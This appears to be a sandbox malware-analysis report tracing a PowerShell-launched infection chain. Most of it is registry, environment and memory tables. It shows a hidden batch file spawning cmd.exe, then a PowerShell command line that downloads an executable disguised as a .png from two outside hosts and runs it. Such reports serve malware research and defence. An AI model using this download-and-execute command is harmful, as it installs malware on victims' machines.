Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Environment value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 9
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Process (2)
+
Operation Process Additional Information Success Count Logfile
Create C:\Users\ADU0VK~1\AppData\Local\Temp\Mbovxo.bat show_window = SW_HIDE True 1
Fn
Get Info type = PROCESS_BASIC_INFORMATION True 1
Fn
Module (1)
+
Operation Module Additional Information Success Count Logfile
Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
System (6)
+
Operation Additional Information Success Count Logfile
Get Info type = Operating System False 4
Fn
Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Get Info type = Hardware Information True 1
Fn
Environment (131)
+
Operation Additional Information Success Count Logfile
Get Environment String name = MshEnableTrace False 125
Fn
Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Get Environment String name = HOMEPATH, result_out = \Users\aDU0VK IWA5kLS True 1
Fn
Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Get Environment String name = HomePath, result_out = \Users\aDU0VK IWA5kLS True 1
Fn
Set Environment String name = PSMODULEPATH, value = C:\Users\aDU0VK IWA5kLS\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Process #4: cmd.exe
(Host: 111, Network: 0)
+
Information Value
ID #4
File Name c:\windows\system32\cmd.exe
Command Line cmd /c ""C:\Users\ADU0VK~1\AppData\Local\Temp\Mbovxo.bat" "
Initial Working Directory C:\Users\aDU0VK IWA5kLS\Desktop\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:01:25
OS Process Information
+
Information Value
PID 0xa24
Parent PID 0x9f8 (c:\windows\system32\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A28
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
pagefile_0x00000000000c0000 0x000c0000 0x000c6fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory Readable, Writable True False False
private_0x00000000000e0000 0x000e0000 0x000e0fff Private Memory Readable, Writable True True False
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable True True False
private_0x0000000000100000 0x00100000 0x0010ffff Private Memory Readable, Writable True True False
private_0x00000000001b0000 0x001b0000 0x001bffff Private Memory Readable, Writable True True False
private_0x00000000001d0000 0x001d0000 0x002cffff Private Memory Readable, Writable True True False
private_0x00000000002d0000 0x002d0000 0x003cffff Private Memory Readable, Writable True True False
private_0x0000000000470000 0x00470000 0x0056ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000570000 0x00570000 0x006f7fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000700000 0x00700000 0x00880fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000890000 0x00890000 0x01c8ffff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001c90000 0x01c90000 0x01fd2fff Pagefile Backed Memory Readable True False False
sortdefault.nls 0x01fe0000 0x022aefff Memory Mapped File Readable False False False
cmd.exe 0x49e70000 0x49ec8fff Memory Mapped File Readable, Writable, Executable True False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
winbrand.dll 0x7fef5a50000 0x7fef5a57fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x7fefd860000 0x7fefd98cfff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x7fefdb00000 0x7fefdbdafff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x7feff5b0000 0x7feff5cefff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffda000 0x7fffffda000 0x7fffffdafff Private Memory Readable, Writable True True False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True True False
Host Behavior
File (58)
+
Operation Filename Additional Information Success Count Logfile
Create C:\Users\ADU0VK~1\AppData\Local\Temp\Mbovxo.bat desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\ADU0VK~1\AppData\Local\Temp\Mbovxo.bat desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Get Info C:\Users\aDU0VK IWA5kLS\Desktop type = file_attributes True 2
Fn
Get Info "C:\Users\ADU0VK~1\AppData\Local\Temp\Mbovxo.bat" type = file_attributes False 1
Fn
Get Info STD_INPUT_HANDLE type = file_type True 1
Fn
Get Info STD_OUTPUT_HANDLE type = file_type True 5
Fn
Get Info STD_INPUT_HANDLE type = file_type True 2
Fn
Open STD_OUTPUT_HANDLE True 22
Fn
Open STD_INPUT_HANDLE True 4
Fn
Open STD_INPUT_HANDLE True 4
Fn
Open STD_INPUT_HANDLE True 7
Fn
Read STD_INPUT_HANDLE size = 8191, size_out = 332 True 1
Fn
Data
Read STD_INPUT_HANDLE size = 8191, size_out = 0 True 2
Fn
Write STD_OUTPUT_HANDLE size = 2 True 2
Fn
Data
Write STD_OUTPUT_HANDLE size = 32 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 10 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 321 True 1
Fn
Data
Registry (17)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
+
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe os_pid = 0xa40, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (12)
+
Operation Module Additional Information Success Count Logfile
Load ADVAPI32.dll base_address = 0x7fefdb00000 True 1
Fn
Get Handle c:\windows\system32\cmd.exe base_address = 0x49e70000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x77320000 True 2
Fn
Get Filename process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x77336d40 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x773323d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x77328290 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x773317e0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = SaferIdentifyLevel, address_out = 0x7fefdb1e470 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = SaferComputeTokenFromLevel, address_out = 0x7fefdb1f9b0 True 1
Fn
Get Address c:\windows\system32\advapi32.dll function = SaferCloseLevel, address_out = 0x7fefdb1f660 True 1
Fn
System (2)
+
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2017-09-25 20:33:03 (UTC) True 1
Fn
Get Time type = Ticks, time = 94209 True 1
Fn
Environment (21)
+
Operation Additional Information Success Count Logfile
Get Environment String True 6
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 3
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 4
Fn
Get Environment String name = PROMPT, result_out = $P$G True 2
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = =C:, value = C:\Users\aDU0VK IWA5kLS\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #5: powershell.exe
(Host: 705, Network: 62)
+
Information Value
ID #5
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line PowerShell "function mihyr8([String] $yxuinzaisib){(New-Object System.Net.WebClient).DownloadFile($yxuinzaisib,'C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe');Start-Process 'C:\Users\ADU0VK~1\AppData\Local\Temp\Mvmubw.exe';}try{mihyr8('http://www.events4u.cz/kas23.png')}catch{mihyr8('http://tregartha-dinnie.co.uk/kas23.png')}
Initial Working Directory C:\Users\aDU0VK IWA5kLS\Desktop\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:01:25
OS Process Information
+
Information Value
PID 0xa40
Parent PID 0xa24 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A44
0x A48
0x A4C
0x A54
0x A58
0x A5C
0x A68
0x A6C
0x A70
0x A74
0x B04
0x B14
0x B20
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000050000 0x00050000 0x00056fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000060000 0x00060000 0x00061fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000000070000 0x00070000 0x0007ffff Private Memory Readable, Writable True True False
powershell.exe.mui 0x00080000 0x00082fff Memory Mapped File Readable, Writable False False False
private_0x0000000000090000 0x00090000 0x0010ffff Private Memory Readable, Writable True True False
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
